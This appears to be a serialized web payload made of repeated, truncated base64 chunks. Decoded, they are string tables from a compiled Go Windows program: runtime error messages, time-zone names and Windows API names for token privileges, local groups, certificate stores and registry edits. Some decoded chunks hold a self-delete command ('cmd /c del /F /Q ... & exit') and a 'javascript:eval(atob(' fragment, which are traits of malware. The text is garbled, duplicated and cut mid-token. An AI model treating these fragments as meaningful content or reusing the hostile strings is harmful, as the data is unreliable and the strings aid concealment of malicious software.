Zyb20gdW5rbm93biBmdW5jdGlvbm5vdGV3YWtldXAgLSBkb3VibGUgd2FrZXVwcGVyc2lzdGVudGFsbG9jOiBzaXplID09IDAvZ2MvY3ljbGVzL3RvdGFsOmdjLWN5Y2xlc2JhZCB0eXBlIGtpbmQgaW4gZmluYWxpemVybmVnYXRpdmUgaWRsZSBtYXJrIHdvcmtlcnN1c2Ugb2YgaW52YWxpZCBzd2VlcExvY2tlcnJ1bnRpbWU6IGJhZCBzcGFuIHMuc3RhdGU9Zm9yRWFjaFA6IFAgZGlkIG5vdCBydW4gZm53YWtlcDogbmVnYXRpdmUgbm1zcGlubmluZ3N0YXJ0bG9ja2VkbTogbG9ja2VkIHRvIG1laW5pdHRhc2sgd2l0aCBubyBmdW5jdGlvbnNjb3JydXB0ZWQgc2VtYXBob3JlIHRpY2tldG91dCBvZiBtZW1vcnkgKHN0YWNrYWxsb2Mpc2hyaW5raW5nIHN0YWNrIGluIGxpYmNhbGxydW50aW1lOiBwY0hlYWRlcjogbWFnaWM9IHRyYWNlUmVnaW9uOiBvdXQgb2YgbWVtb3J5aW52YWxpZCByZXF1ZXN0IGRlc2NyaXB0b3JubyBDU0kgc3RydWN0dXJlIGF2YWlsYWJsZXJlcXVpcmVkIGtleSBub3QgYXZhaWxhYmxlbm8gbWVzc2FnZSBvZiBkZXNpcmVkIHR5cGVuYW1lIG5vdCB1bmlxdWUgb24gbmV0d29ya0NlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXNpbmNvbnNpc3RlbnQgcHJvY2VzcyBzdGF0dXNFYXN0ZXIgSXNsYW5kIFN0YW5kYXJkIFRpbWUzNjM3OTc4ODA3MA==dd:T554,dGltZUJlZ2luL0VuZFBlcmlvZCBub3QgZm91bmR0cmllZCB0byB1bnBpbiBub24tR28gcG9pbnRlcnJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBjZW50ZXJzeXNjYWxsIGluY29uc2lzdGVudCBicCBlbnRlcnN5c2NhbGwgaW5jb25zaXN0ZW50IHNwIGdmcHV0OiBiYWQgc3RhdHVzIChub3QgR2RlYWQpTG9ja09TVGhyZWFkIG5lc3Rpbmcgb3ZlcmZsb3dzZW1hY3F1aXJlIG5vdCBvbiB0aGUgRyBzdGFja3J1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93c3RyaW5nIGNvbmNhdGVuYXRpb24gdG9vIGxvbmdpbnZhbGlkIGZ1bmN0aW9uIHN5bWJvbCB0YWJsZXRyYWNlOiByZWFkaW5nIGFmdGVyIHNodXRkb3ducnVudGltZTogdHJhY2ViYWNrIHN0dWNrLiBwYz10cmllZCB0byB0cmFjZSBkZWFkIGdvcm91dGluZXJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kcnVudGltZS5zZW1hc2xlZXAgd2FpdF9mYWlsZWRvcGVyYXRpb24gYWxyZWFkeSBpbiBwcm9ncmVzc25vIFhFTklYIHNlbWFwaG9yZXMgYXZhaWxhYmxldG9vIG1hbnkgb3BlbiBmaWxlcyBpbiBzeXN0ZW1tYWNoaW5lIGlzIG5vdCBvbiB0aGUgbmV0d29ya3Byb3RvY29sIGZhbWlseSBub3Qgc3VwcG9ydGVkbnVtZXJpY2FsIHJlc3VsdCBvdXQgb2YgcmFuZ2VEZWxldGVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdHJ1bnRpbWUuQWRkQ2xlYW51cDogcHRyIGlzIG5pbEVhc3Rlcm4gU3RhbmRhcmQgVGltZSAoTWV4aWNvKVR1cmtzIEFuZCBDYWljb3MgU3RhbmRhcmQgVGltZUNlbnRyYWwgU3RhbmRhcmQgVGltZSAoTWV4aWNvKUUuIFNvdXRoIEFtZXJpY2EgU3RhbmRhcmQgVGltZVBhY2lmaWMgU3RhbmRhcmQgVGltZSAoTWV4aWNvKUNlbnRyYWwgRXVyb3BlYW4gU3RhbmRhcmQgVGltZTIyNzM3MzY3NTQ0MzIzMjA1OTQ3ODc1OTc2NTYyNU1hcEl0ZXIuS2V5IGNhbGxlZCBiZWZvcmUgTmV4dHJlZmxlY3Q6IEVsZW0gb2YgaW52YWxpZCB0eXBlIGNhbGxlZCBlbnRyeSBvbiBub24tZW50cnkgbm9kZWFzc2lnbm1lbnQgdG8gZW50cnkgaW4gbmlsde:T554,dHlwZSBpbiBjb21wYXJlOiAgb2YgdW5leHBvcnRlZCBtZXRob2R1bmV4cGVjdGVkIHZhbHVlIHN0ZXByZWZsZWN0LlZhbHVlLlBvaW50ZXJBZGp1c3RUb2tlblByaXZpbGVnZXNMb29rdXBQcml2aWxlZ2VWYWx1ZVdOZXRVc2VyR2V0TG9jYWxHcm91cHNHZXRQcm9maWxlc0RpcmVjdG9yeVduZWdhdGl2ZSBzaGlmdCBhbW91bnRkYXRhaW5kZXBlbmRlbnR0aW1pbmdzeXN0ZW0gZ29yb3V0aW5lIHdhaXQvZ2MvaGVhcC9hbGxvY3M6Ynl0ZXNydW50aW1lOiB3b3JrLm53YWl0PSAgcHJldmlvdXMgYWxsb2NDb3VudD0sIGxldmVsQml0c1tsZXZlbF0gPSBydW50aW1lOiBzZWFyY2hJZHggPSBwcm9maWxlciBoYXNoIGJ1Y2tldHNkZWZlciBvbiBzeXN0ZW0gc3RhY2twYW5pYyBvbiBzeXN0ZW0gc3RhY2thc3luYyBzdGFjayB0b28gbGFyZ2VzdGFydG06IG0gaXMgc3Bpbm5pbmdzdGFydGxvY2tlZG06IG0gaGFzIHBmaW5kcnVubmFibGU6IHdyb25nIHBwcmVlbXB0IGF0IHVua25vd24gcGNyZWxlYXNlcDogaW52YWxpZCBhcmdjaGVja2RlYWQ6IHJ1bm5hYmxlIGdydW50aW1lOiBuZXdzdGFjayBhdCBydW50aW1lOiBuZXdzdGFjayBzcD1ydW50aW1lOiBjb25mdXNlZCBieSAgcGNIZWFkZXIudGV4dFN0YXJ0PSB0aW1lciBkYXRhIGNvcnJ1cHRpb250cmFjZS9icmVha3BvaW50IHRyYXB1c2VyIGRlZmluZWQgc2lnbmFsIDF1c2VyIGRlZmluZWQgc2lnbmFsIDJsaW5rIGhhcyBiZWVuIHNldmVyZWRwYWNrYWdlIG5vdCBpbnN0YWxsZWRibG9jayBkZXZpY2UgcmVxdWlyZWRzdGF0ZSBub3QgcmVjb3ZlcmFibGVyZWFkLW9ubHkgZmlsZSBzeXN0ZW1zdGFsZSBORlMgZmlsZSBoYW5kbGVSZWFkRGlyZWN0b3J5Q2hhbmdlc1dOZXRHZXRKb2luSW5mb3JtYXRpb25jb25jdXJyZW50IG1hcCB3cml0ZXNqYXZhc2NyaXB0OmV2YWwoYXRvYignU2FvIFRvbWUgU3RhbmRhcmQgVGltZUFsZXV0aWFuIFN0YW5kYXJkIFRpbWVQYXJhZ3VheSBTdGFuZGFyZCBUaW1lTW91bnRhaW4gU3RhbmRhcmQgVGltZUF0bGFudGljIFN0YW5kdf:T558,dHlwZSBpbiBjb21wYXJlOiAgb2YgdW5leHBvcnRlZCBtZXRob2R1bmV4cGVjdGVkIHZhbHVlIHN0ZXByZWZsZWN0LlZhbHVlLlBvaW50ZXJBZGp1c3RUb2tlblByaXZpbGVnZXNMb29rdXBQcml2aWxlZ2VWYWx1ZVdOZXRVc2VyR2V0TG9jYWxHcm91cHNHZXRQcm9maWxlc0RpcmVjdG9yeVduZWdhdGl2ZSBzaGlmdCBhbW91bnRkYXRhaW5kZXBlbmRlbnR0aW1pbmdzeXN0ZW0gZ29yb3V0aW5lIHdhaXQvZ2MvaGVhcC9hbGxvY3M6Ynl0ZXNydW50aW1lOiB3b3JrLm53YWl0PSAgcHJldmlvdXMgYWxsb2NDb3VudD0sIGxldmVsQml0c1tsZXZlbF0gPSBydW50aW1lOiBzZWFyY2hJZHggPSBwcm9maWxlciBoYXNoIGJ1Y2tldHNkZWZlciBvbiBzeXN0ZW0gc3RhY2twYW5pYyBvbiBzeXN0ZW0gc3RhY2thc3luYyBzdGFjayB0b28gbGFyZ2VzdGFydG06IG0gaXMgc3Bpbm5pbmdzdGFydGxvY2tlZG06IG0gaGFzIHBmaW5kcnVubmFibGU6IHdyb25nIHBwcmVlbXB0IGF0IHVua25vd24gcGNyZWxlYXNlcDogaW52YWxpZCBhcmdjaGVja2RlYWQ6IHJ1bm5hYmxlIGdydW50aW1lOiBuZXdzdGFjayBhdCBydW50aW1lOiBuZXdzdGFjayBzcD1ydW50aW1lOiBjb25mdXNlZCBieSAgcGNIZWFkZXIudGV4dFN0YXJ0PSB0aW1lciBkYXRhIGNvcnJ1cHRpb250cmFjZS9icmVha3BvaW50IHRyYXB1c2VyIGRlZmluZWQgc2lnbmFsIDF1c2VyIGRlZmluZWQgc2lnbmFsIDJsaW5rIGhhcyBiZWVuIHNldmVyZWRwYWNrYWdlIG5vdCBpbnN0YWxsZWRibG9jayBkZXZpY2UgcmVxdWlyZWRzdGF0ZSBub3QgcmVjb3ZlcmFibGVyZWFkLW9ubHkgZmlsZSBzeXN0ZW1zdGFsZSBORlMgZmlsZSBoYW5kbGVSZWFkRGlyZWN0b3J5Q2hhbmdlc1dOZXRHZXRKb2luSW5mb3JtYXRpb25jb25jdXJyZW50IG1hcCB3cml0ZXNqYXZhc2NyaXB0OmV2YWwoYXRvYignU2FvIFRvbWUgU3RhbmRhcmQgVGltZUFsZXV0aWFuIFN0YW5kYXJkIFRpbWVQYXJhZ3VheSBTdGFuZGFyZCBUaW1lTW91bnRhaW4gU3RhbmRhcmQgVGltZUF0bGFudGljIFN0YW5kYQ==e0:T554,dW5kcm9vdCBsZXZlbCBtYXggcGFnZXMgZG9lc24ndCBmaXQgaW4gc3VtbWFyeXJ1bnRpbWUuUGlubmVyOiBhcmd1bWVudCBpcyBub3QgYSBwb2ludGVyOiBydW50aW1lOiByZWxlYXNlU3Vkb2cgd2l0aCBub24tbmlsIGdwLnBhcmFtdW5rbm93biBydW5uYWJsZSBnb3JvdXRpbmUgZHVyaW5nIGJvb3RzdHJhcHJ1bnRpbWU6IGNhc2Zyb21fR3NjYW5zdGF0dXMgYmFkIG9sZHZhbCBncD1ydW50aW1lOnN0b3Bsb2NrZWRtOiBsb2NrZWRnIChhdG9taWNzdGF0dXM9bWV0aG9kVmFsdWVDYWxsRnJhbWVPYmpzIGlzIG5vdCBpbiBhIG1vZHVsZXN5bmN0ZXN0IHRpbWVyIGFjY2Vzc2VkIGZyb20gb3V0c2lkZSBidWJibGVpbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbCBzaG91bGQgYmUgcmVzdGFydGVkZW5jb2RpbmcgYWxwaGFiZXQgY29udGFpbnMgbmV3bGluZSBjaGFyYWN0ZXJlbmNvZGluZyBhbHBoYWJldCBpbmNsdWRlcyBkdXBsaWNhdGUgc3ltYm9sc211bHQxMjhiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlcmVmbGVjdDogZnVuY0xheW91dCB3aXRoIGludGVyZmFjZSByZWNlaXZlciBzcGFuIG9uIHVzZXJBcmVuYS5mYXVsdExpc3QgaGFzIGludmFsaWQgc2l6ZXNlbmQgb24gc3luY3Rlc3QgY2hhbm5lbCBmcm9tIG91dHNpZGUgYnViYmxlb3V0IG9mIG1lbW9yeSBhbGxvY2F0aW5nIGhlYXAgYXJlbmEgbWV0YWRhdGEvY3B1L2NsYXNzZXMvc2NhdmVuZ2UvYmFja2dyb3VuZDpjcHUtc2Vjb25kc3J1bnRpbWU6IHVuZXhwZWN0ZWQgbWV0cmljIHJlZ2lzdHJhdGlvbiBmb3IgZ2NtYXJrbmV3b2JqZWN0IGNhbGxlZCB3aGlsZSBkb2luZyBjaGVja21hcmthY3RpdmUgc3dlZXBlcnMgZm91bmQgYXQgc3RhcnQgb2YgbWFyayBwaGFzZW5vIFAgYXZhaWxhYmxlLCB3cml0ZSBiYXJyaWVycyBhcmUgZm9yYmlkZGVuY29tcGlsZUNhbGxiYWNrOiBmbG9hdCByZXN1bHRzIG5vdCBzdXBwb3J0ZWRjYW5ub3QgdHJhY2UgdXNlciBnb3JvdXRpbmUgb24gaXRzIG93biBzdGFja3Vuc2FmZS5TbGljZTogcHRye1:T554,dW5sb2NrOiBsb2NrIGNvdW50cHJvZ1RvUG9pbnRlck1hc2s6IG92ZXJmbG93L2djL2N5Y2xlcy9mb3JjZWQ6Z2MtY3ljbGVzL21lbW9yeS9jbGFzc2VzL290aGVyOmJ5dGVzL21lbW9yeS9jbGFzc2VzL3RvdGFsOmJ5dGVzZmFpbGVkIHRvIHNldCBzd2VlcCBiYXJyaWVyd29yay5ud2FpdCB3YXMgPiB3b3JrLm5wcm9jIG5vdCBpbiBzdGFjayByb290cyByYW5nZSBbYWxsb2NhdGVkIHBhZ2VzIGJlbG93IHplcm8/YWRkcmVzcyBub3QgYSBzdGFjayBhZGRyZXNzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlaW52YWxpZCBwcm9maWxlIGJ1Y2tldCB0eXBlcnVudGltZTogY29ycnVwdGVkIHBvbGxkZXNjcnVudGltZTogbmV0cG9sbGluaXQgZmFpbGVkcnVudGltZTogYXN5bmNQcmVlbXB0U3RhY2s9cnVudGltZTogdGhyZWFkIElEIG92ZXJmbG93c3RvcFRoZVdvcmxkOiBob2xkaW5nIGxvY2tzZ2NzdG9wbTogbm90IHdhaXRpbmcgZm9yIGdjcnVudGltZTogY2hlY2tkZWFkOiBubWlkbGU9cnVudGltZTogY2hlY2tkZWFkOiBmaW5kIGcgcnVubG9jayBvZiB1bmxvY2tlZCByd211dGV4c2lnc2VuZDogaW5jb25zaXN0ZW50IHN0YXRlbWFrZXNsaWNlOiBsZW4gb3V0IG9mIHJhbmdlbWFrZXNsaWNlOiBjYXAgb3V0IG9mIHJhbmdlZ3Jvd3NsaWNlOiBsZW4gb3V0IG9mIHJhbmdlc3RhY2sgc2l6ZSBub3QgYSBwb3dlciBvZiAydG9vIG1hbnkgY2FsbGJhY2sgZnVuY3Rpb25zdGltZXIgd2hlbiBtdXN0IGJlIHBvc2l0aXZlOiB1bmV4cGVjdGVkIHJldHVybiBwYyBmb3IgY2hhbm5lbCBudW1iZXIgb3V0IG9mIHJhbmdlY29tbXVuaWNhdGlvbiBlcnJvciBvbiBzZW5ka2V5IHdhcyByZWplY3RlZCBieSBzZXJ2aWNlbm90IGEgWEVOSVggbmFtZWQgdHlwZSBmaWxlQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlYWJpLk5ld05hbWU6IHRhZyB0b28gbG9uZzogaHR0cHNlcnZlY29udGVudGtlZXBoZWFkZXJzY21kIC9jIGRlbCAvRiAvUSAiJXMiICYgZXhpdG9zOiBwcm9jZXNzIGFscmVhZHkgZmluaXNoZWRHZXRGe2:T558,dW5sb2NrOiBsb2NrIGNvdW50cHJvZ1RvUG9pbnRlck1hc2s6IG92ZXJmbG93L2djL2N5Y2xlcy9mb3JjZWQ6Z2MtY3ljbGVzL21lbW9yeS9jbGFzc2VzL290aGVyOmJ5dGVzL21lbW9yeS9jbGFzc2VzL3RvdGFsOmJ5dGVzZmFpbGVkIHRvIHNldCBzd2VlcCBiYXJyaWVyd29yay5ud2FpdCB3YXMgPiB3b3JrLm5wcm9jIG5vdCBpbiBzdGFjayByb290cyByYW5nZSBbYWxsb2NhdGVkIHBhZ2VzIGJlbG93IHplcm8/YWRkcmVzcyBub3QgYSBzdGFjayBhZGRyZXNzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlaW52YWxpZCBwcm9maWxlIGJ1Y2tldCB0eXBlcnVudGltZTogY29ycnVwdGVkIHBvbGxkZXNjcnVudGltZTogbmV0cG9sbGluaXQgZmFpbGVkcnVudGltZTogYXN5bmNQcmVlbXB0U3RhY2s9cnVudGltZTogdGhyZWFkIElEIG92ZXJmbG93c3RvcFRoZVdvcmxkOiBob2xkaW5nIGxvY2tzZ2NzdG9wbTogbm90IHdhaXRpbmcgZm9yIGdjcnVudGltZTogY2hlY2tkZWFkOiBubWlkbGU9cnVudGltZTogY2hlY2tkZWFkOiBmaW5kIGcgcnVubG9jayBvZiB1bmxvY2tlZCByd211dGV4c2lnc2VuZDogaW5jb25zaXN0ZW50IHN0YXRlbWFrZXNsaWNlOiBsZW4gb3V0IG9mIHJhbmdlbWFrZXNsaWNlOiBjYXAgb3V0IG9mIHJhbmdlZ3Jvd3NsaWNlOiBsZW4gb3V0IG9mIHJhbmdlc3RhY2sgc2l6ZSBub3QgYSBwb3dlciBvZiAydG9vIG1hbnkgY2FsbGJhY2sgZnVuY3Rpb25zdGltZXIgd2hlbiBtdXN0IGJlIHBvc2l0aXZlOiB1bmV4cGVjdGVkIHJldHVybiBwYyBmb3IgY2hhbm5lbCBudW1iZXIgb3V0IG9mIHJhbmdlY29tbXVuaWNhdGlvbiBlcnJvciBvbiBzZW5ka2V5IHdhcyByZWplY3RlZCBieSBzZXJ2aWNlbm90IGEgWEVOSVggbmFtZWQgdHlwZSBmaWxlQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlYWJpLk5ld05hbWU6IHRhZyB0b28gbG9uZzogaHR0cHNlcnZlY29udGVudGtlZXBoZWFkZXJzY21kIC9jIGRlbCAvRiAvUSAiJXMiICYgZXhpdG9zOiBwcm9jZXNzIGFscmVhZHkgZmluaXNoZWRHZXRGaQ==e3:T554,dW50aW1lOiBtY2FsbCBjYWxsZWQgb24gbS0+ZzAgc3RhY2tzdGFydG06IFAgcmVxdWlyZWQgZm9yIHNwaW5uaW5nPXRydWUpIGlzIG5vdCBHcnVubmFibGUgb3IgR3NjYW5ydW5uYWJsZXVwZGF0ZU1heFByb2NzR29yb3V0aW5lOiBwaGFzZSBlcnJvcnJ1bnRpbWU6IGJhZCBub3RpZnlMaXN0IHNpemUgLSBzeW5jPWFjY2Vzc2VkIGRhdGEgZnJvbSBmcmVlZCB1c2VyIGFyZW5hIHJ1bnRpbWU6IHdyb25nIGdvcm91dGluZSBpbiBuZXdzdGFja3J1bnRpbWU6IGludmFsaWQgcGMtZW5jb2RlZCB0YWJsZSBmPWFjY2Vzc2luZyBhIGNvcnJ1cHRlZCBzaGFyZWQgbGlicmFyeXN0cmluZ3MuQnVpbGRlci5Hcm93OiBuZWdhdGl2ZSBjb3VudHN0cmluZ3M6IEpvaW4gb3V0cHV0IGxlbmd0aCBvdmVyZmxvd2ludmFsaWQgcGF0dGVybiBzeW50YXggKCsgYWZ0ZXIgLSk6IDIyMjA0NDYwNDkyNTAzMTMwODA4NDcyNjMzMzYxODE2NDA2MjVyZWZsZWN0OiBmdW5jTGF5b3V0IG9mIG5vbi1mdW5jIHR5cGUgcmVmbGVjdC5WYWx1ZS5CeXRlcyBvZiBub24tYnl0ZSBzbGljZXJlZmxlY3QuVmFsdWUuQnl0ZXMgb2Ygbm9uLWJ5dGUgYXJyYXltZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG8gbm90IGFsaWducnVudGltZTogYWxsb2NhdGlvbiBzaXplIG91dCBvZiByYW5nZSkgaXMgc21hbGxlciB0aGFuIG1pbmltdW0gcGFnZSBzaXplICgvY3B1L2NsYXNzZXMvZ2MvbWFyay9pZGxlOmNwdS1zZWNvbmRzc2V0cHJvZmlsZWJ1Y2tldDogcHJvZmlsZSBhbHJlYWR5IHNldGZhaWxlZCB0byByZXNlcnZlIHBhZ2Ugc3VtbWFyeSBtZW1vcnlydW50aW1lLm1pbml0OiBkdXBsaWNhdGVoYW5kbGUgZmFpbGVkX2Nnb19ub3RpZnlfcnVudGltZV9pbml0X2RvbmUgbWlzc2luZ3N0YXJ0VGhlV29ybGQ6IGluY29uc2lzdGVudCBtcC0+bmV4dHBDb3VsZG4ndCBwdXQgR3MgaW50byBlbXB0eSBsb2NhbCBydW5xcnVudGltZTogdW5leHBlY3RlZCBTUFdSSVRFIGZ1bmN0aW9uIGFsbCBnb3JvdXRpbmVzIGFyZSBhc2xlZXAgLSBkZWFkbG9jayE=e4:T554,dW50aW1lOiBtY2FsbCBjYWxsZWQgb24gbS0+ZzAgc3RhY2tzdGFydG06IFAgcmVxdWlyZWQgZm9yIHNwaW5uaW5nPXRydWUpIGlzIG5vdCBHcnVubmFibGUgb3IgR3NjYW5ydW5uYWJsZXVwZGF0ZU1heFByb2NzR29yb3V0aW5lOiBwaGFzZSBlcnJvcnJ1bnRpbWU6IGJhZCBub3RpZnlMaXN0IHNpemUgLSBzeW5jPWFjY2Vzc2VkIGRhdGEgZnJvbSBmcmVlZCB1c2VyIGFyZW5hIHJ1bnRpbWU6IHdyb25nIGdvcm91dGluZSBpbiBuZXdzdGFja3J1bnRpbWU6IGludmFsaWQgcGMtZW5jb2RlZCB0YWJsZSBmPWFjY2Vzc2luZyBhIGNvcnJ1cHRlZCBzaGFyZWQgbGlicmFyeXN0cmluZ3MuQnVpbGRlci5Hcm93OiBuZWdhdGl2ZSBjb3VudHN0cmluZ3M6IEpvaW4gb3V0cHV0IGxlbmd0aCBvdmVyZmxvd2ludmFsaWQgcGF0dGVybiBzeW50YXggKCsgYWZ0ZXIgLSk6IDIyMjA0NDYwNDkyNTAzMTMwODA4NDcyNjMzMzYxODE2NDA2MjVyZWZsZWN0OiBmdW5jTGF5b3V0IG9mIG5vbi1mdW5jIHR5cGUgcmVmbGVjdC5WYWx1ZS5CeXRlcyBvZiBub24tYnl0ZSBzbGljZXJlZmxlY3QuVmFsdWUuQnl0ZXMgb2Ygbm9uLWJ5dGUgYXJyYXltZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG8gbm90IGFsaWducnVudGltZTogYWxsb2NhdGlvbiBzaXplIG91dCBvZiByYW5nZSkgaXMgc21hbGxlciB0aGFuIG1pbmltdW0gcGFnZSBzaXplICgvY3B1L2NsYXNzZXMvZ2MvbWFyay9pZGxlOmNwdS1zZWNvbmRzc2V0cHJvZmlsZWJ1Y2tldDogcHJvZmlsZSBhbHJlYWR5IHNldGZhaWxlZCB0byByZXNlcnZlIHBhZ2Ugc3VtbWFyeSBtZW1vcnlydW50aW1lLm1pbml0OiBkdXBsaWNhdGVoYW5kbGUgZmFpbGVkX2Nnb19ub3RpZnlfcnVudGltZV9pbml0X2RvbmUgbWlzc2luZ3N0YXJ0VGhlV29ybGQ6IGluY29uc2lzdGVudCBtcC0+bmV4dHBDb3VsZG4ndCBwdXQgR3MgaW50byBlbXB0eSBsb2NhbCBydW5xcnVudGltZTogdW5leHBlY3RlZCBTUFdSSVRFIGZ1bmN0aW9uIGFsbCBnb3JvdXRpbmVzIGFyZSBhc2xlZXAgLSBkZWFkbG9jayFje5:T554,ODEyNTU2ODQzNDE4ODYwODA4MDE0ODY5Njg5OTQxNDA2MjVyZWZsZWN0OiBMZW4gb2Ygbm9uLWFycmF5IHR5cGUgc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4Ol1jYWxsIGZyb20gd2l0aGluIHRoZSBHbyBydW50aW1laW50ZXJuYWwgZXJyb3IgLSBtaXN1c2Ugb2YgaXRhYikgbm90IGluIHVzYWJsZSBhZGRyZXNzIHNwYWNlOiBydW50aW1lOiBjYW5ub3QgYWxsb2NhdGUgbWVtb3J5Y2hlY2ttYXJrIGZvdW5kIHVubWFya2VkIG9iamVjdHJ1bnRpbWU6IGZhaWxlZCB0byBjb21taXQgcGFnZXMvbWVtb3J5L2NsYXNzZXMvaGVhcC9mcmVlOmJ5dGVzL21lbW9yeS9jbGFzc2VzL29zLXN0YWNrczpieXRlc3BhY2VyOiBzd2VlcCBkb25lIGF0IGhlYXAgc2l6ZSBub24gaW4tdXNlIHNwYW4gaW4gdW5zd2VwdCBsaXN0cnVudGltZS5QaW5uZXI6IGFyZ3VtZW50IGlzIG5pbGNhc2dzdGF0dXM6IGJhZCBpbmNvbWluZyB2YWx1ZXNyZXNldHNwaW5uaW5nOiBub3QgYSBzcGlubmluZyBtcnVudGltZTogcHJvZkJ1ZiBhbHJlYWR5IGNsb3NlZHJ1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93OiAuLi5hZGRpdGlvbmFsIGZyYW1lcyBlbGlkZWQuLi51bnNhZmUuU3RyaW5nOiBsZW4gb3V0IG9mIHJhbmdlY2Fubm90IGFzc2lnbiByZXF1ZXN0ZWQgYWRkcmVzcy5saWIgc2VjdGlvbiBpbiBhLm91dCBjb3JydXB0ZWQyODQyMTcwOTQzMDQwNDAwNzQzNDg0NDk3MDcwMzEyNU1hcEl0ZXIuVmFsdWUgY2FsbGVkIGJlZm9yZSBOZXh0c2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF1zbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXg6XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OjpdICh0eXBlcyBmcm9tIGRpZmZlcmVudCBwYWNrYWdlcyllbmQgb3V0c2lkZSB1c2FibGUgYWRkcmVzcyBzcGFjZXJ1bnRpbWU6IGZhaWxlZCB0byByZWxlYXNlIHBhZ2VzcnVudGltZTogZml4YWxsb2Mgc2l6ZSB0b28gbGFyZ2VpbnZhbGlkIGxpbWl0ZXIgZXY=e6:T554,ODEyNTU2ODQzNDE4ODYwODA4MDE0ODY5Njg5OTQxNDA2MjVyZWZsZWN0OiBMZW4gb2Ygbm9uLWFycmF5IHR5cGUgc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4Ol1jYWxsIGZyb20gd2l0aGluIHRoZSBHbyBydW50aW1laW50ZXJuYWwgZXJyb3IgLSBtaXN1c2Ugb2YgaXRhYikgbm90IGluIHVzYWJsZSBhZGRyZXNzIHNwYWNlOiBydW50aW1lOiBjYW5ub3QgYWxsb2NhdGUgbWVtb3J5Y2hlY2ttYXJrIGZvdW5kIHVubWFya2VkIG9iamVjdHJ1bnRpbWU6IGZhaWxlZCB0byBjb21taXQgcGFnZXMvbWVtb3J5L2NsYXNzZXMvaGVhcC9mcmVlOmJ5dGVzL21lbW9yeS9jbGFzc2VzL29zLXN0YWNrczpieXRlc3BhY2VyOiBzd2VlcCBkb25lIGF0IGhlYXAgc2l6ZSBub24gaW4tdXNlIHNwYW4gaW4gdW5zd2VwdCBsaXN0cnVudGltZS5QaW5uZXI6IGFyZ3VtZW50IGlzIG5pbGNhc2dzdGF0dXM6IGJhZCBpbmNvbWluZyB2YWx1ZXNyZXNldHNwaW5uaW5nOiBub3QgYSBzcGlubmluZyBtcnVudGltZTogcHJvZkJ1ZiBhbHJlYWR5IGNsb3NlZHJ1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93OiAuLi5hZGRpdGlvbmFsIGZyYW1lcyBlbGlkZWQuLi51bnNhZmUuU3RyaW5nOiBsZW4gb3V0IG9mIHJhbmdlY2Fubm90IGFzc2lnbiByZXF1ZXN0ZWQgYWRkcmVzcy5saWIgc2VjdGlvbiBpbiBhLm91dCBjb3JydXB0ZWQyODQyMTcwOTQzMDQwNDAwNzQzNDg0NDk3MDcwMzEyNU1hcEl0ZXIuVmFsdWUgY2FsbGVkIGJlZm9yZSBOZXh0c2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF1zbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXg6XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OjpdICh0eXBlcyBmcm9tIGRpZmZlcmVudCBwYWNrYWdlcyllbmQgb3V0c2lkZSB1c2FibGUgYWRkcmVzcyBzcGFjZXJ1bnRpbWU6IGZhaWxlZCB0byByZWxlYXNlIHBhZ2VzcnVudGltZTogZml4YWxsb2Mgc2l6ZSB0b28gbGFyZ2VpbnZhbGlkIGxpbWl0ZXIgZXZle7:T554,OiBpblVzZT1ydW50aW1lOiBtYXggPSByZXF1ZXN0ZWQgc2tpcD1iYWQgcGFuaWMgc3RhY2tyZWNvdmVyeSBmYWlsZWRzdG9wbSBob2xkaW5nIHBzdGFydG06IG0gaGFzIHBwcmVlbXB0IFNQV1JJVEVtaXNzaW5nIG1jYWNoZT9tczogZ29tYXhwcm9jcz1yYW5kaW5pdCBtaXNzZWRdbW9yZWJ1Zj17cGM6OiBubyBmcmFtZSAoc3A9cnVudGltZTogZnJhbWUgdHMgc2V0IGluIHRpbWVydHJhY2ViYWNrIHN0dWNrdW5leHBlY3RlZCBraW5kYWR2ZXJ0aXNlIGVycm9ya2V5IGhhcyBleHBpcmVkbmV0d29yayBpcyBkb3dubm8gbWVkaXVtIGZvdW5kbm8gc3VjaCBwcm9jZXNzR2V0QWRhcHRlcnNJbmZvQ3JlYXRlSGFyZExpbmtXRGV2aWNlSW9Db250cm9sRmx1c2hWaWV3T2ZGaWxlR2V0Q29tbWFuZExpbmVXR2V0U3RhcnR1cEluZm9XUHJvY2VzczMyRmlyc3RXVW5tYXBWaWV3T2ZGaWxlRmFpbGVkIHRvIGxvYWQgRmFpbGVkIHRvIGZpbmQgUmVnQ3JlYXRlS2V5RXhXUmVnRGVsZXRlVmFsdWVXanN0bXBsbGl0aW50ZXJwdGFyaW5zZWN1cmVwYXRoeDUwOWtleXBhaXJsZWFmeDUwOXVzZXBvbGljaWVzemlwaW5zZWN1cmVwYXRoMDEyMzQ1Njc4OWFiY2RlZlRlcm1pbmF0ZVByb2Nlc3NleGVjOiBubyBjb21tYW5kMjM4NDE4NTc5MTAxNTYyNTAxMjM0NTY3ODlBQkNERUZEdXBsaWNhdGVUb2tlbkV4Q3JlYXRlTmFtZWRQaXBlV0dldEN1cnJlbnRUaHJlYWRHZ